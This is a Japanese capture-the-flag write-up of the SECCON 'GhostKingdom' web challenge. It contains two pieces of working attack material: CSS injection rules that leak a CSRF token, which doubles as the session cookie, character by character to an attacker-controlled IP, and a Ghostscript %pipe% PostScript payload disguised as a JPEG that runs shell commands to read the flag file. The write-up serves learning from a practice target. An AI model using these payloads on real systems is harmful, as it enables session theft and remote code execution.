はじめに
チーム「ott0」で参加しました.
今回は私が解いたWeb問のwrite upを書きたいと思います.
GhostKingdom(Web, 248)
概要
解法としては,大きく分けて2つのステージに分かれていると思います.
- CSS injectionを用いてローカルネットワークから接続できるアカウントのセッションクッキーを奪う
- GhostScriptの脆弱性を用いてサーバ上でシェルを実行させ,
/var/www/html/FLAG
配下のフラグを盗む
解法
1. CSS injection編
まず,アカウントを作成してログインを行う.
そうすると以下のようなメニューが存在していることがわかる.:
-
Message to admin
... Adminへのメッセージを送る.このとき,プレビュー画面にてクエリパラメータで挿入したCSSが反映される. -
Take a screenshot
... URLを入力すると,そのページのスクリーンショットを取得する. -
Upload image
... この段階では利用できない.どうやらローカルネットワークからアクセスすると利用できるらしい.(後に画像をJPEGからGIFに変換するページであることがわかる)
まず,Take a screenshot
というメニューから,以下のURLのページのスクリーンショットを取得してもらうと,localhostからのアクセスを行っていることがわかる.
http://0.0.0.0
つまり,スクリーンショットのサーバは,Upload image
メニューにアクセスすることが可能である.
しかし,スクリーンショットだとページのソースが見れず,そのメニューにアクセスするためのクエリが分からない.
そこで,スクリーンショットを取得するサーバからセッションクッキーを奪い,自分のPCからそのメニューにアクセスできるようにしたい.
そのために,まずは以下のURLのスクショを取得することで,自分のアカウントでログインしてもらう.
http://0.0.0.0/?action=login&user=hoge&pass=hogehoge
そして,セッションクッキーを取得するために,Message to admin
メニューを利用することにする.
このメニューではCSSの挿入が可能である他,メッセージのプレビューページに <input type="hidden" name="csrf" value="xxxxxxxxxxxxxxxxxxxxxx">
というタグが存在する(このタグの値はセッションクッキーの値と同じである).
そこで,スクリーンショットのサーバにてCSS injectionを行い,csrfのパラメータを窃取することにする.
その後,以下のように,inputタグのcsrfパラメータを窃取するCSSをBase64でエンコードした値を生成する( こちらのページ を参考にしました.)
input[name=csrf][value^="a"] {
background-image: url(http://[My IP Address]?a);
}
input[name=csrf][value^="b"] {
background-image: url(http://[My IP Address]?b);
}
input[name=csrf][value^="c"] {
background-image: url(http://[My IP Address]?c);
}
...
--------以下略--------
そして,スクリーンショットのメニューにて以下のようなURLを入力し,スクリーンショットを取得してもらう.
http://0.0.0.0/?css=[上記の悪性cssをBase64エンコードした値]&msg=hoge&action=msgadm2
1文字目,2文字目,...と手作業でアクセスを行った(計22文字...汗).
その結果,スクリーンショットを取得するサーバのcsrf
パラメータ(セッションクッキー)を取得することができた.
2. GhostScript 編
窃取したセッションクッキーを用いてアクセスすると,先ほどは利用できなかったUpload image
メニューが利用できることがわかる.
そのメニューでは,アップしたJPEG形式の画像をGIF形式に変換する仕組みが実装されていた.
その際,ghostMagick.cgi
というcgiが利用されていたので,調べてみると,おそらくこのシステムにはImageMagick(GraphicsMagick)という画像編集のソフトが利用されており,それに使用されているGhostScriptにはコード実行の脆弱性があることがわかった.
このページでGhostScriptの脆弱性を用いた攻撃手法が紹介されていたので,それを参考に(というかそのまま利用して)以下のようなスクリプトをshellExec.jpeg
というファイル名で作成した.
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops
以上のJPEGファイルをアップして変換させると,以下のような結果が表示された.
おっ!ls
コマンドの結果が返ってきてる!ということで,以下のようにコマンド部を変更して実行した.
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops
そうすると,フラグを得ることができた.
FLAG: SECCON{CSSinjection+GhostScript/ImageMagickRCE}